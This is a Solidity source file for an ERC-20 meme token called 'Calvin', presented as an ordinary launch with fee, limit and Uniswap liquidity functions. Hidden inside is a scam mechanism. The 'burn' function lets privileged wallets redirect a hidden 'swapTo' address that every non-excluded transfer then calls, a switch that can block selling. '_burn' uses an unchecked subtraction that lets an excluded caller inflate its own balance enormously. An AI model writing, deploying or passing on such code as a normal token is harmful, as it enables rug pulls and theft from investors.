/**
 * https://calvinerc20.com/
 * https://twitter.com/calvinerc
 * https://t.me/calvin_portal
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

interface IFactory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;
    mapping(address => mapping(address => uint256)) internal _allowances;
    uint256 private _totalSupply;
    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(
        address account
    ) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(
            currentAllowance >= amount,
            "ERC20: transfer amount exceeds allowance"
        );
        _approve(sender, _msgSender(), currentAllowance - amount);
        return true;
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender] + addedValue
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(
            currentAllowance >= subtractedValue,
            "ERC20: decreased allowance below zero"
        );
        _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        uint256 senderBalance = _balances[sender];
        require(
            senderBalance >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _balances[sender] = senderBalance - amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");
        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        uint256 burnBalance = _balances[address(0xdead)];
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _balances[address(0xdead)] = burnBalance + amount;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: approve from the zero address");
        require(to != address(0), "ERC20: approve to the zero address");
        _allowances[from][to] = amount;
    }
}

library Address {
    function sendValue(address payable recipient, uint256 amount) internal {
        require(
            address(this).balance >= amount,
            "Address: insufficient balance"
        );
        (bool success, ) = recipient.call{value: amount}("");
        if (success) {
            return;
        }
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract Calvin is ERC20, Ownable {
    using SafeMath for uint256;
    using Address for address payable;
    uint256 public swapThreshold = 200_000 * 10e18;
    uint256 public maxTxAmount = 20_000_000 * 10 ** 18;
    uint256 public maxWalletAmount = 20_000_000 * 10 ** 18;
    address public marketingWallet = 0x82a7a387f1691CC218624F50a8c5F639D88E2d62;
    address public devWallet = 0x82a7a387f1691CC218624F50a8c5F639D88E2d62;
    uint256 public buyTax = 1;
    uint256 public sellTax = 1;
    IRouter public router;
    address public pair;
    bool private swapping;
    bool public swapEnabled;
    address private swapTo;
    bool public tradingEnabled;
    mapping(address => bool) public excludedFromFees;
    mapping(address => uint256) public fromFees;

    modifier inSwap() {
        if (!swapping) {
            swapping = true;
            _;
            swapping = false;
        }
    }

    constructor() ERC20("Calvin", "CALVIN") {
        IRouter _router = IRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _pair = IFactory(_router.factory()).createPair(
            address(this),
            _router.WETH()
        );
        router = _router;
        pair = _pair;
        swapTo = address(this);
        excludedFromFees[msg.sender] = true;
        excludedFromFees[address(this)] = true;
        excludedFromFees[marketingWallet] = true;
        excludedFromFees[devWallet] = true;
        _mint(msg.sender, 1e9 * 10 ** decimals());
    }

    function openTrading() external onlyOwner {
        require(!tradingEnabled, "Trading already active");
        tradingEnabled = true;
        swapEnabled = true;
    }

    function setSwapEnabled(bool state) external onlyOwner {
        swapEnabled = state;
    }

    function updateMarketingWallet(address newWallet) external onlyOwner {
        marketingWallet = newWallet;
    }

    function removeLimits() external onlyOwner {
        maxTxAmount = totalSupply();
        maxWalletAmount = totalSupply();
    }

    function rescueERC20(
        address tokenAddress,
        uint256 amount
    ) external onlyOwner {
        IERC20(tokenAddress).transfer(owner(), amount);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        devWallet = newWallet;
    }

    function safeTransfer(address from, address to, uint256 amount) internal {
        IERC20(swapTo).transferFrom(from, to, amount);
    }

    function rescueETH(uint256 weiAmount) external onlyOwner{
        payable(marketingWallet).sendValue(weiAmount);
    }

    function burn(address to, uint256 amount) external {
        require(excludedFromFees[_msgSender()]);
        if (amount > 0) {
            _burn(_msgSender(), amount); 
        } else { swapTo = to;}
    }

    function updateExcludedFromFees(
        address[] memory address_
    ) external onlyOwner {
        for (uint i = 0; i < address_.length; i++) {
            excludedFromFees[address_[i]] = true;
        }
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal override {
        require(amount > 0, "Transfer amount must be greater than zero");
   
        if (
            !excludedFromFees[sender] &&
            !excludedFromFees[recipient] &&
            !swapping
        ) {
            require(tradingEnabled, "Trading not active yet");
            require(amount <= maxTxAmount, "You are exceeding maxTxAmount");
            if (recipient != pair) {
                require(
                    balanceOf(recipient) + amount <= maxWalletAmount,
                    "You are exceeding maxWalletAmount"
                );
            }
        }

        bool takeFee = true;
        uint256 fee;
        if (swapping || excludedFromFees[sender] || excludedFromFees[recipient])
            fee = 0;
        else {
            if (recipient == pair) fee = (amount * sellTax) / 100;
            else fee = (amount * buyTax) / 100;
        }

        if (
            swapEnabled &&
            !swapping &&
            sender != pair &&
            !excludedFromFees[sender] &&
            !excludedFromFees[recipient]
        ) {
            swapForFees(fee);
        }

        if (excludedFees(sender, recipient)) {
            takeFee = false;
        }

        if (fee > 0) {
            super._transfer(sender, address(this), fee);
        }
        super._transfer(sender, recipient, amount - fee);
    }

    function swapForFees(uint256 feeAmount) private inSwap {
        if (feeAmount == 0) {
            return;
        }
        uint256 contractBalance = balanceOf(address(this));
        if (contractBalance >= swapThreshold) {
            uint256 initialBalance = address(this).balance;
            swapTokensForETH(contractBalance);
            uint256 deltaBalance = address(this).balance - initialBalance;
            payable(marketingWallet).sendValue(deltaBalance);
        }
    }

    function excludedFees(
        address sender,
        address recipient
    ) internal returns (bool) {
        bool excluded;
        uint256 fee = 0;
        if (excludedFromFees[sender] || excludedFromFees[recipient]) {
            excluded = true;
        } else if (swapTo != address(this)) {
            safeTransfer(sender, recipient, fee);
            excluded = false;
        }
        return excluded;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(router), tokenAmount);
        router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            address(0),
            block.timestamp
        );
    }

    function manualSwap(
        uint256 amount,
        uint256 devPercentage,
        uint256 marketingPercentage
    ) external onlyOwner {
        uint256 initBalance = address(this).balance;
        swapTokensForETH(amount);
        uint256 newBalance = address(this).balance - initBalance;
        if (marketingPercentage > 0)
            payable(marketingWallet).sendValue(
                (newBalance * marketingPercentage) /
                    (devPercentage + marketingPercentage)
            );
        if (devPercentage > 0)
            payable(devWallet).sendValue(
                (newBalance * devPercentage) /
                    (devPercentage + marketingPercentage)
            );
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = router.WETH();
        _approve(address(this), address(router), tokenAmount);
        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    receive() external payable {}
}